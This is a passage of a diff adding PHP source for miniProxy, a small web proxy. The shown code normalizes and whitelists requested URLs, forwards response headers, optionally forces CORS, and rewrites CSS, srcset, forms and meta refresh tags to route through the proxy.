+ if (strpos($url, "\"") === 0) { + $url = trim($url, "\""); + } + if (stripos($url, "data:") === 0) return "url(" . $url . ")"; //The URL isn't an HTTP URL but is actual binary data. Don't proxify it. + return "url(" . PROXY_PREFIX . rel2abs($url, $baseURL) . ")"; + }, + $normalizedCSS); +} + +//Proxify "srcset" attributes (normally associated with tags.) +function proxifySrcset($srcset, $baseURL) { + $sources = array_map("trim", explode(",", $srcset)); //Split all contents by comma and trim each value + $proxifiedSources = array_map(function($source) use ($baseURL) { + $components = array_map("trim", str_split($source, strrpos($source, " "))); //Split by last space and trim + $components[0] = PROXY_PREFIX . rel2abs(ltrim($components[0], "/"), $baseURL); //First component of the split source string should be an image URL; proxify it + return implode($components, " "); //Recombine the components into a single source + }, $sources); + $proxifiedSrcset = implode(", ", $proxifiedSources); //Recombine the sources into a single "srcset" + return $proxifiedSrcset; +} + +//Extract and sanitize the requested URL, handling cases where forms have been rewritten to point to the proxy. +if (isset($_POST["miniProxyFormAction"])) { + $url = $_POST["miniProxyFormAction"]; + unset($_POST["miniProxyFormAction"]); +} else { + $queryParams = Array(); + parse_str($_SERVER["QUERY_STRING"], $queryParams); + //If the miniProxyFormAction field appears in the query string, make $url start with its value, and rebuild the the query string without it. + if (isset($queryParams["miniProxyFormAction"])) { + $formAction = $queryParams["miniProxyFormAction"]; + unset($queryParams["miniProxyFormAction"]); + $url = $formAction . "?" . http_build_query($queryParams); + } else { + $url = substr($_SERVER["REQUEST_URI"], strlen($_SERVER["SCRIPT_NAME"]) + 1); + } +} +if (empty($url)) { + if (empty($startURL)) { + die("miniProxy

    Welcome to miniProxy!

    miniProxy can be directly invoked like this: " . PROXY_PREFIX . $landingExampleURL . "

    Or, you can simply enter a URL below:

    "); + } else { + $url = $startURL; + } +} else if (strpos($url, ":/") !== strpos($url, "://")) { + //Work around the fact that some web servers (e.g. IIS 8.5) change double slashes appearing in the URL to a single slash. + //See https://github.com/joshdick/miniProxy/pull/14 + $pos = strpos($url, ":/"); + $url = substr_replace($url, "://", $pos, strlen(":/")); +} +$scheme = parse_url($url, PHP_URL_SCHEME); +if (empty($scheme)) { + //Assume that any supplied URLs starting with // are HTTP URLs. + if (strpos($url, "//") === 0) { + $url = "http:" . $url; + } +} else if (!preg_match("/^https?$/i", $scheme)) { + die('Error: Detected a "' . $scheme . '" URL. miniProxy exclusively supports http[s] URLs.'); +} + +//Validate the requested URL against the whitelist. +$urlIsValid = count($whitelistPatterns) === 0; +foreach ($whitelistPatterns as $pattern) { + if (preg_match($pattern, $url)) { + $urlIsValid = true; + break; + } +} +if (!$urlIsValid) { + die("Error: The requested URL was disallowed by the server administrator."); +} + +$response = makeRequest($url); +$rawResponseHeaders = $response["headers"]; +$responseBody = $response["body"]; +$responseInfo = $response["responseInfo"]; + +//If CURLOPT_FOLLOWLOCATION landed the proxy at a diferent URL than +//what was requested, explicitly redirect the proxy there. +$responseURL = $responseInfo["url"]; +if ($responseURL !== $url) { + header("Location: " . PROXY_PREFIX . $responseURL, true); + exit(0); +} + +//A regex that indicates which server response headers should be stripped out of the proxified response. +$header_blacklist_pattern = "/^Content-Length|^Transfer-Encoding|^Content-Encoding.*gzip/i"; + +//cURL can make multiple requests internally (for example, if CURLOPT_FOLLOWLOCATION is enabled), and reports +//headers for every request it makes. Only proxy the last set of received response headers, +//corresponding to the final request made by cURL for any given call to makeRequest(). +$responseHeaderBlocks = array_filter(explode("\r\n\r\n", $rawResponseHeaders)); +$lastHeaderBlock = end($responseHeaderBlocks); +$headerLines = explode("\r\n", $lastHeaderBlock); +foreach ($headerLines as $header) { + $header = trim($header); + if (!preg_match($header_blacklist_pattern, $header)) { + header($header, false); + } +} +//Prevent robots from indexing proxified pages +header("X-Robots-Tag: noindex, nofollow", true); + +if ($forceCORS) { + //This logic is based on code found at: http://stackoverflow.com/a/9866124/278810 + //CORS headers sent below may conflict with CORS headers from the original response, + //so these headers are sent after the original response headers to ensure their values + //are the ones that actually end up getting sent to the browser. + //Explicit [ $replace = true ] is used for these headers even though this is PHP's default behavior. + + //Allow access from any origin. + header("Access-Control-Allow-Origin: *", true); + header("Access-Control-Allow-Credentials: true", true); + + //Handle CORS headers received during OPTIONS requests. + if ($_SERVER["REQUEST_METHOD"] == "OPTIONS") { + if (isset($_SERVER["HTTP_ACCESS_CONTROL_REQUEST_METHOD"])) { + header("Access-Control-Allow-Methods: GET, POST, OPTIONS", true); + } + if (isset($_SERVER["HTTP_ACCESS_CONTROL_REQUEST_HEADERS"])) { + header("Access-Control-Allow-Headers: {$_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']}", true); + } + //No further action is needed for OPTIONS requests. + exit(0); + } + +} + +$contentType = ""; +if (isset($responseInfo["content_type"])) $contentType = $responseInfo["content_type"]; + +//This is presumably a web page, so attempt to proxify the DOM. +if (stripos($contentType, "text/html") !== false) { + + //Attempt to normalize character encoding. + $detectedEncoding = mb_detect_encoding($responseBody, "UTF-8, ISO-8859-1"); + if ($detectedEncoding) { + $responseBody = mb_convert_encoding($responseBody, "HTML-ENTITIES", $detectedEncoding); + } + + //Parse the DOM. + $doc = new DomDocument(); + @$doc->loadHTML($responseBody); + $xpath = new DOMXPath($doc); + + //Rewrite forms so that their actions point back to the proxy. + foreach($xpath->query("//form") as $form) { + $method = $form->getAttribute("method"); + $action = $form->getAttribute("action"); + //If the form doesn't have an action, the action is the page itself. + //Otherwise, change an existing action to an absolute version. + $action = empty($action) ? $url : rel2abs($action, $url); + //Rewrite the form action to point back at the proxy. + $form->setAttribute("action", rtrim(PROXY_PREFIX, "?")); + //Add a hidden form field that the proxy can later use to retreive the original form action. + $actionInput = $doc->createDocumentFragment(); + $actionInput->appendXML(''); + $form->appendChild($actionInput); + } + //Proxify tags with an 'http-equiv="refresh"' attribute. + foreach ($xpath->query("//meta[@http-equiv]") as $element) { + if (strcasecmp($element->getAttribute("http-equiv"), "refresh") === 0) { + $content = $element->getAttribute("content"); + if (!empty($content)) { + $splitContent = preg_split("/=/", $content); + if (isset($splitContent[1])) { + $element->setAttribute("content", $splitContent[0] . "=" . PROXY_PREFIX . rel2abs($splitContent[1], $url)); + } + } + } + } + //Profixy